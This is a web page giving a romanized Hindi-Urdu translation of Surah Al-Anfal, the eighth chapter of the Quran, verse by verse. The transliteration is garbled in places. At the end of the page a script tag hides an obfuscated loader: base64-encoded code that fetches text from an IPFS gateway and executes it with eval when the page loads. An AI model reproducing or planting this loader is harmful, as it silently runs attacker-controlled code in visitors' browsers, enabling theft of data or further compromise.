अल-अनफाल
al-anaphal- 75 ayatean, 10 ruku, madina soora
al-anaphal islam dharm ke pavitr granth quran ka 8vaan soora (adhyay) hai jisamean 75 ayatean hoti haian.
8:1 - (ai rasool) tum se log anaphal (male ganimat) ke bare mean poochha karate haian tum kah do ki anaphal makhasoos khuda aur rasool ke vaste hai to khuda se daro (aur) apane bahami (apasi) mamalat ki isalah karo aur agar tum sachche (eemanadar) ho to khuda ki aur usake rasool ki itaat karo
8:2 - sachche eemanadar to bas vahi log haian ki jab (unake samane) khuda ka zikr kiya jata hai to unake dil hil jate haian aur jab unake samane usaki ayatean padhi jati haian to unake eeman ko aur bhi jyada kar deti haian aur vah log bas apane paravaradigar hi par bharosa rakhate haian
8:3 - namaz ko pabandi se ada karate haian aur jo ham ne unhean diya haian usamean se (rahe khuda mean) kharch karate haian
8:4 - yahi to sachche eemanadar haian unhian ke lie unake paravaradigar ke h aau (b de b de) daraje haian aur bakhshish aur ijzat aur abaroo ke sath rozi hai (ye male ganimat ka jhag da vaisa hi hai)
8:5 - jis tarah tumhare paravaradigar ne tumhean bilkul thik (masalahat se) tumhare ghar se (jang badar) mean nikala tha aur mominin ka ek giroh (usase) nakhush tha
8:6 - ki vah log haq ke zahir hone ke bad bhi tumase (khvah makhvah) sachchi bat mean jhag datean thean aur is tarah (karane lage) goya (zabaradasti) maut ke muanh mean dhakele ja rahe haian
8:7 - aur use (apani aauankhoan se) dekh rahe haian aur (ye vakt tha) jab khuda tumase vayada kar raha tha ki (kuphphar makka) do jamaatoan mean se ek tumhare lie zaroori haian aur tum ye chahate the ki kamazor jamaat tumhare hath lage (taki bagair l de bhi de male ganimat hath a jae) aur khuda ye chahata tha ki apani batoan se haq ko sabit (qadam) karean aur kaphiroan ki j d kat dale
8:8 - taki haq ko (haq) sabit kar de aur batil ka matiyamet kar de agar che gunahagar (kuphphar usase) nakhush hi kyoan n ho
8:9 - (ye vah vakt tha) jab tum apane paravadigar se phariyad kar rahe the usane tumhari sun li aur javab de diya ki maian tumhari lagatar hazar farishtoan se madad karooanga
8:10 - aur (ye imadad gaibi) khuda ne sirph tumhari khatir (khushi) ke lie ki thi aur tumhare dil mutamin ho jaean aur (yad rakho) madad khuda ke siva aur kahian se (kabhi) nahian hoti beshak khuda galib hikamat vala hai
8:11 - ye vah vakt tha jab apani taraph se itminan dene ke lie tum par niand ko galib kar raha tha aur tum par asaman se pani baras raha tha taki usase tumhean pak (pakiza kar de aur tum se shaitan ki gandagi door kar de aur tumhare dil mazaboot kar de aur pani se (baloo jam jae) aur tumhare qadam b qadam (achchhi tarah) jamae rahe
8:12 - (ai rasool ye vah vakt tha) jab tumhara paravaradigar farishtoan se pharama raha tha ki mai yakinan tumhare sath hooan tum eemanadaroan ko sabit qadam rakho mai bahut jald kaphiroan ke diloan mean (tumhara raub) dal dooanga (pas phir kya hai ab) to un kuphphar ki gardanoan par maro aur unaki por por ko chatiya kar do
8:13 - ye (saza) isalie hai ki un logoan ne khuda aur usake rasool ki mukhaliph ki aur jo shakhs (bhi) khuda aur usake rasool ki mukhalafat karega to (yad rahean ki) khuda b da sakht azab karane vala hai
8:14 - (kaphiroan duniya mean to) lo phir us (saza ka chakho aur (phir akhir mean to) kaphiroan ke vaste jahannum ka azab hi hai
8:15 - ai eemanadaroan jab tumase kuphfar se maidane jang mean muqabala hua to (khabaradar) unaki taraph pith n karana
8:16 - (yad rahe ki) us shakhs ke siva jo l daee vaste katarae ya kisi jamaat ke pas (jakar) mauke pae (aur) jo shakhs bhi us din un kuphfar ki taraph pith pherega vah yaqini (hir phir ke) khuda ke gajab mean a gaya aur usaka thikana jahannum hi haian aur vah kya bura thikana hai
8:17 - aur (musalamanoan) un kuphfar ko kuchh tumane to qatl kiya nahian balki unako to khuda ne qatl kiya aur (ai rasool) jab tumane tir mara to kuchh tumane nahian mara balki khuda khuda ne tir mara aur taki apani taraph se mominin par khoob ehasan kare beshak khuda (sabaki) sunata aur (sab kuchh) janata hai
8:18 - ye to ye khuda to kaphiroan ki makkari ka kamazor kar dene vala hai
8:19 - (kafir) agar tum ye chahate ho (ki jo haq par ho usaki) fateh ho (musalamanoan ki) fateh bhi tumhare samane a maujood huee ab kya gurur baqi hai aur agar tum (ab bhi mukhatalif islam) se baz raho to tumhare vaste behatar hai aur agar kahian tum palat p de to (yad rahe) ham bhi palat p degean (aur tumhean tabah kar chho d degean) aur tumhari jamaat agarache bahut jyada bhi ho haragiz kuchh kam n aegi aur khuda to yaqini maminin ke sath hai
8:20 - (ai eemanadaroan khuda aur usake rasool ki itaat karo aur usase muanh n mo do jab tum samajh rahe ho
8:21 - aur un logoan ke aise n ho jaoan jo (muanh se to) kahate the ki ham sun rahe haian halaki vah sunate (sunate khak) n the
8:22 - isamean shaq nahian ki zamin par chalane vale tamam haivanat se badatar khuda ke nazadik vah bahare gooange (kuphphar) haian jo kuchh nahian samajhate
8:23 - aur agar khuda unamean neki (ki boo bhi) dekhata to zaroor unamean sunane ki qabaliyat ata karata magar ye aise haian ki agar unamean sunane ki qabilayat bhi deta to muanh pher kar bhagate.
8:24 - ai eemanadar jab tum ko hamara rasool (mohammad) aise kam ke lie bulae jo tumhari roohani zindagi ka bais ho to tum khuda aur rasool ke hukm dil se kubool kar lo aur jan lo ki khuda vah qadir mutaliq hai ki adami aur usake dil (irade) ke daramiyan is tarah a jata hai aur ye bhi samajh lo ki tum sabake sab usake samane hazir kiye jaoge
8:25 - aur us phitane se darate raho jo khas unhian logoan par nahian p dega jinhoanne tum mean se zulm kiya (balki tum sabake sab usamean p d jaoge) aur yaqin manoan ki khuda b da sakht azab karane vala hai
8:26 - (musalamanoan vah vakt yad karo) jab tum sar zamin (makke) mean bahut kam aur bilkul bebas the usase sahame jate the ki kahian log tumako uchak n le jae to khuda ne tumako (madine mean) panah di aur khas apani madad se tumhari taeed ki aur tumhe pak v pakiza chize khane ko di taki tum shukr guzari karo
8:27 - ai eemanadaroan n to khuda aur rasool ki (amanat mean) khyanat karo aur n apani amanatoan mean khyanat karo hal aauki samajhate boojhate ho
8:28 - aur yaqin janoan ki tumhare mal aur tumhari aulad tumhari azamaish (imtehan) ki chize haian ki jo unaki mohabbat mean bhi khuda ko n bhoole aur vah dinadar hai
8:29 - aur yaqinan khuda ke h aau b di mazadoori hai ai eemanadaroan agar tum khuda se darate rahoge to vah tumhare vaste imtiyaz paida kare dega aur tumhari taraph se tumhare gunah ka kaphfara qarar dega aur tumhean bakhsh dega aur khuda b da sahab phazal (v karam) hai
8:30 - aur (ai rasool vah vakt yad karo) jab kuphfar tum se phareb kar rahe the taki tumako qaid kar lean ya tumako mar dale tumhean (ghar se) nikal bahar kare vah to ye tadabir (chalaki) kar rahe the aur khuda bhi (unake khilaph) tadabirakar raha tha
8:31 - aur khuda to sab tadabirakarane valoan se behatar hai aur jab unake samane hamari ayate padhi jati haian to bol uthate haian ki hamane suna to lekin agar ham chahean to yaqinan aisa hi (qarar) ham bhi kah sakate haian-to bas agaloan ke qisse hai
8:32 - aur (ai rasool vah vakt yad karo) jab un kaphiroan ne duaean maangian thi ki khuda (vand) agar ye (din islam) haq hai aur tere pas se (aya hai) to ham par asaman se patthar barasa ya ham par koee aur dardanak azab hi nazil pharama
8:33 - hal aauki jab tak tum unake daramiyan maujood ho khuda un par azab nahian karega aur allah aisa bhi nahian ki log to usase apane gunaho ki maphi maang rahe haian aur khuda un par nazil pharamae
8:34 - aur jab ye log logoan ko masjidul haram (khan e kaba ki ibadat) se rokate hai to phir unake lie kaun si bat baqi hai ki un par azab n nazil kare aur ye log to khanae kaba ke mutavalli bhi nahian (phir kyoan rokate hai) isake mutavalli to sirph parahezagar log haian magar in kafiroan mean se bahutere nahian janate
8:35 - aur khanae kabe ke pas sitiy aau taliya bajane ke siva unaki namaj hi kya thi to (ai kaphiroan) jab tum kuphr kiya karate the usaki saza mean (p de) azab ke maze chakho
8:36 - isamean shaq nahian ki ye kuphphar apane mal mahaz is vaste kharch karegean phir usake bad unaki hasarat ka bais hoga phir akhir ye log har jaeangean aur jin logoan ne kuphr ekhtiyar kiya (qayamat mean) sab ke sab jahannum ki taraph hake jaeangean
8:37 - taki khuda pak ko napak se juda kar de aur napak logoan ko ek doosare par rakhake dher banae phir sab ko jahannum mean jhoank de yahi log ghata uthane vale haian
8:38 - (ai rasool) tum kaphiroan se kah do ki agar vah log (ab bhi apani shararat se) baz rahean to unake pichhale kusoor maph kar die jaean aur agar phir kahian palatean to yaqinan agaloan ke tariqe guzar chuke jo, unaki saza huee vahi inaki bhi hogi
8:39 - musalamanoan kafiroan se l de jao yahaan tak ki koee phasad (baqi) n rahe aur (bilkul sari khudaee mean) khuda ki din hi din ho jae phir agar ye log (fasad se) n baz aean to khuda unaki karavaiyoan ko khoob dekhata hai
8:40 - aur agar saratabi karean to (musalamanoan) samajh lo ki khuda yaqini tumhara malik hai aur vah kya achchha malik hai aur kya achchha madadagar hai
8:41 - aur jan lo ki jo kuchh tum (mal l dakar) looto to unamean ka paanchav aau hissa makhasoos khuda aur rasool aur (rasool ke) qarabatadaroan aur yatimoan aur miskinoan aur paradesiyoan ka hai agar tum khuda par aur us (gaibi imadad) par eeman la chuke ho jo hamane khas bande (mohammad) par faisale ke din (jang badar mean) nazil ki thi jis din (musalamanoan aur kaphiroan ki) do jamaatean baham guth gayi thi aur khuda to har chiz par qadir hai
8:42 - (ye vah vakt tha) jab tum (maidane jang mean madine ke) qarib nake par the aur vah kuphfar beed (door ke) ke nake par aur (kafile ke) savar tum se nasheb mean the aur agar tum ek doosare se (vakt qi taqarir ka) vayada kar lete ho to aur vakt par g dab d kar dete magar (khuda ne achanak tum logoan ko ikattha kar diya taki jo bat yadani (honi) thi vah poori kar dikhae taki jo shakhs halak (gumarah) ho vah (haq ki) hujjat tamam hone ke bad halak ho aur jo zinda rahe vah hidayat ki hujjat tamam hone ke bad zinda rahe aur khuda yaqini sunane vala khabaradar hai
8:43 - (ye vah vakt tha) jab khuda ne tumhean khvab mean kuphfar ko kam karake dikhalaya tha aur agar unako tumhean jyada karate dikhalata tum yaqinan himmat har dete aur l daee ke bare mean jhag dane lagate magar khuda ne ise (badanami) se bachaya isamean to shaq hi nahian ki vah dili khyalat se vaqif hai
8:44 - (ye vah vakt tha) jab tum logoan ne muthabhe d ki to khuda ne tumhari aaukhoan mean kuphfar ko bahut kam karake dikhalaya aur unaki aaukhoan mean tumako tho da kar diya taki khuda ko jo kuchh karana manzoor tha vah poora ho jae aur kul batoan ka daromadar to khuda hi par hai
8:45 - ai eemanadaroan jab tum kisi phauj se muthabhe d karo to khabaradar apane qadam jamae raho aur khuda ko bahuant yad karate raho taki tum phalah pao
8:46 - aur khuda ki aur usake rasool ki itaat karo aur apas mean jhag da n karo varana tum himmat haroge aur tumhari hava ukh d jaegi aur (jang ki takalif ko) jhel jao (kyoanki) khuda to yaqinan sabr karane valoan ka sathi hai
8:47 - aur un logoan ke aise n ho jao jo itarate hue aur logoan ke dikhalane ke vaste apane gharoan se nikal kh de hue aur logoan ko khuda ki rah se rokate haian aur jo kuchh bhi vah log karate haian khuda us par (har tarah se) ahata kie hue hai
8:48 - aur jab shaitan ne unaki karastaniyoan ko umda kar dikhaya aur unake kan mean phooank diya ki logoan mean aj koee aisa nahian jo tum par galib a sake aur mai tumhara madadagar hooan phir jab donoan lashkar mukabil hue to apane ulate p aauv bhag nikala aur kahane laga ki mai to tum se alag hooan mai vah chizean dekh raha hooan jo tumhean nahian soojhati maian to khuda se darata hooan aur khuda bahut sakht azab vala hai
8:49 - (ye vakt tha) jab munaphiqin aur jin logoan ke dil mean (kuphr ka) marz hai kah rahe the ki un musalamanoan ko unake din ne dhoke mean dal rakha hai (ki itarate phirate haian hal aauki jo shakhs khuda par bharosa karata hai (vah galib rahata hai kyoanki) khuda to yaqinan galib aur hikamat vala hai
8:50 - aur kash (ai rasool) tum dekhate jab farishte kafiroan ki jan nikal lete the aur rookh aur pusht (pith) par ko de marate the aur (kahate the ki) azab jahannum ke maze chakhoan
8:51 - ye saza usaki hai jo tumhare hathoan ne pahale kiya karaya hai aur khuda bandoan par haragiz zulm nahian kiya karata hai
8:52 - (un logoan ki halat) qaume phiraun aur unake logoan ki si hai jo un se pahale the aur khuda ki ayatoan se inkar karate the to khuda ne bhi unake gunahoan ki vajah se unhean le dala beshak khuda zabaradast aur bahut sakht azab dene vala hai
8:53 - ye saza is vajah se (di gee) ki jab koee neamat khuda kisi qaum ko deta hai to jab tak ki vah log khud apani kalabi halat (n) badalean khuda bhi use nahian badalega aur khuda to yaqini (sab ki sunata) aur sab kuchh janata hai
8:54 - (un logoan ki halat) qaum phiraun aur un logoan ki si hai jo unase pahale the aur apane paravaradigar ki ayatoan ko jhuthalate the to hamane bhi unake gunahoan ki vajah se unako halaq kar dala aur phiraun ki qaum ko duba mara aur (ye) sab ke sab zalim the
8:55 - isamean shaq nahian ki khuda ke nazadik janavaroan mean kuphfar sabase badatarin to (bavajood isake) phir eeman nahian late
8:56 - ai rasool jin logoan se tum ne ehad v paiman kiya tha phir vah log apane ehad ko har bar to d dalate hai aur (phir khuda se) nahian darate
8:57 - to agar vah l daee mean tumhare hathe chadh jaean to (aisi sakht goshmali do ki) unake sath sath un logoan ka to agar vah l daee mean tumhare hatthe chadh jaean to (aisi saja do ki) unake sath un logoan ko bhi titir bitir kar do jo un ke pusht par ho taki ye ibarat hasil karean
8:58 - aur agar tumhean kisi qaum ki khyanat (ehad shikani(vada khilaphi)) ka khauph ho to tum bhi barabar unaka ehad unhian ki taraph se pheank maro (ehado shikan ke sath ehad shikani karo khuda haragiz dagabajoan ko dost nahian rakhata
8:59 - aur kuphfar ye n khyal karean ki vah (musalamanoan se) age badh nikale (kyoanki) vah haragiz (musalamanoan ko) hara nahian sakate
8:60 - aur (musalamanoan tum kuphphar ke mukabale ke) vaste jahaan tak tumase ho sake (apane bazoo ke) zor se aur bॅdhe hue gho de se l daee ka saman muhayya karo isase khuda ke dushman aur apane dushman aur usake siva doosare logoan par bhi apani dhak badha legean jinhean tum nahian janate ho magar khuda to unako janata hai aur khuda ki rah mean tum jo kuchh bhi kharch karogean vah tum poora poora bhar paogean aur tum par kisi tarah zulm nahian kiya jaega
8:61 - aur agar ye kuphphar sulah ki taraph mael ho to tum bhi usaki taraph mael ho aur khuda par bharosa rakho (kyoanki) vah beshak (sab kuchh) sunata janata hai
8:62 - aur agar vah log tumhean phareb dena chahe to (kuchh parava nahian) khuda tumhare vaste yaqini kafi hai-(ai rasool) vahi to vah (khuda) hai jisane apani khas madad aur mominin se tumhari taeed ki
8:63 - aur usi ne un musalamanoan ke diloan mean baham aisi ulafat paida kar di ki agar tum jo kuchh zamin mean hai sab ka sab kharch kar dalate to bhi unake dilo mean aisi ulafat paida n kar sakate magar khuda hi tha jisane baham ulaphat paida ki beshak vah zabaradast hiqamat vala hai
8:64 - ai rasool tumako bas khuda aur jo mominin tumhare tabee pharaman (pharamabaradar) hai kafi hai
8:65 - ai rasool tum mominin ko jihad ke vaste amada karo (vah ghabarae nahian khuda unase vayada karata hai ki) agar tum logoan mean ke sabit qadam rahane vale bis bhi hogean to vah do sau (kaphiroan) par galib a jayege aur agar tum logoan mean se sabit kadam rahane valoan sau hogean to hazar (kaphiroan) par galib a jaeangean is sabab se ki ye log na samajh haian
8:66 - ab khuda ne tum se (apane hukm ki sakhti mean) takhfiph (kami) kar di aur dekh liya ki tum mean yaqinan kamazori hai to agar tum logoan mean se sabit qadam rahane vale sau hogean to do sau (kafiroan) par galib raheangean aur agar tum logoan mean se (aise) ek hazar hogean to khuda ke hukm se do hazar (kafiroan) par galib raheange aur (jang ki takaliphoan ko) jhel jane valoan ka khuda sathi hai
8:67 - koee nabi jab ki rooe zamin par (kaphiroan ka) khoon n bahae usake yahaan kaidiyoan ka rahana munasib nahian tum log to duniya ke sazo saman ke khvah aau (chahane vale) ho auॅr khuda (tumhare lie) akhirat ki (bhalaee) ka khvah aau hai aur khuda zabaradast hikamat vala hai
8:68 - aur agar khuda ki taraph se pahale hi (usaki) maphi ka hukm a chuka hota to tumane jo (badar ke qaidiyoan ke chho d dene ke badale) phidiya liya tha
8:69 - usaki saza mean tum par b da azab nazil hokar rahata to (khair jo hua so hua) ab tumane jo mal ganimat hasil kiya hai use khao (aur tumhare lie) halal tayyab hai aur khuda se darate raho beshak khuda b da bakhshane vala meharaban hai
8:70 - ai rasool jo kaidi tumhare kabje mean hai unase kah do ki agar tumhare diloan mean neki dekhega to jo (mal) tum se chhin liya gaya hai usase kahian behatar tumhean ata pharamaega aur tumhean bakhsh bhi dega aur khuda to b da bakhshane vala meharaban hai
8:71 - aur agar ye log tumase phareb karana chahate hai to khuda se pahale hi phareb kar chuke haian to (usaki saza mean) khuda ne un par tumhean qaboo de diya aur khuda to b da vaqiphakar hikamat vala hai
8:72 - jin logoan ne eeman qubool kiya aur hijarat ki aur apane apane jan mal se khuda ki rah mean jihad kiya aur jin logoan ne (hijarat karane valoan ko jagah di aur har (tarah) unaki khabar giri (madad) ki yahi log ek doosare ke (baham) saraparast dost haian aur jin logoan ne eeman qubool kiya aur hijarat nahian ki to tum logoan ko unaki saraparasti se kuchh sarokar nahian-yahaan tak ki vah hijarat ekhtiyar karean aur (h aau) magar dini amr mean tum se madad ke khvah aau ho to tum par (unaki madad karana lazim v vajib hai magar un logoan ke muqabale mean (nahian) jinamean aur tumamean baham (sulah ka) ehado paiman hai aur jo kuchh tum karate ho khuda (sabako) dekh raha hai
8:73 - aur jo log kafir haian vah bhi (baham) ek doosare ke saraparast haian agar tum (is tarah) vayada n karoge to rooe zamin par fitana (fasad) barapa ho jaega aur b da fasad hoga
8:74 - aur jin logoan ne eeman qubool kiya aur hijarat ki aur khuda ki rah mean l de bhi de aur jin logoan ne (aise nazuk vakt mean muhajirin ko jagah hi aur unaki har tarah khabaragiri (madad) ki yahi log sachche eemanadar haian unhian ke vaste magaphirat aur ijzat v abaru vali rozi hai
8:75 - aur jin logoan ne (sulah hudaibiya ke) bad eeman qubool kiya aur hijarat ki aur tumhare sath milakar jihad kiya vah log bhi tumhian mean se haian aur sahabane qarabat khuda ki kitab mean baham ek doosare ke (banisbat auroan ke) jyada haqadar haian beshak khuda har chiz se khoob vaqiph haian
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>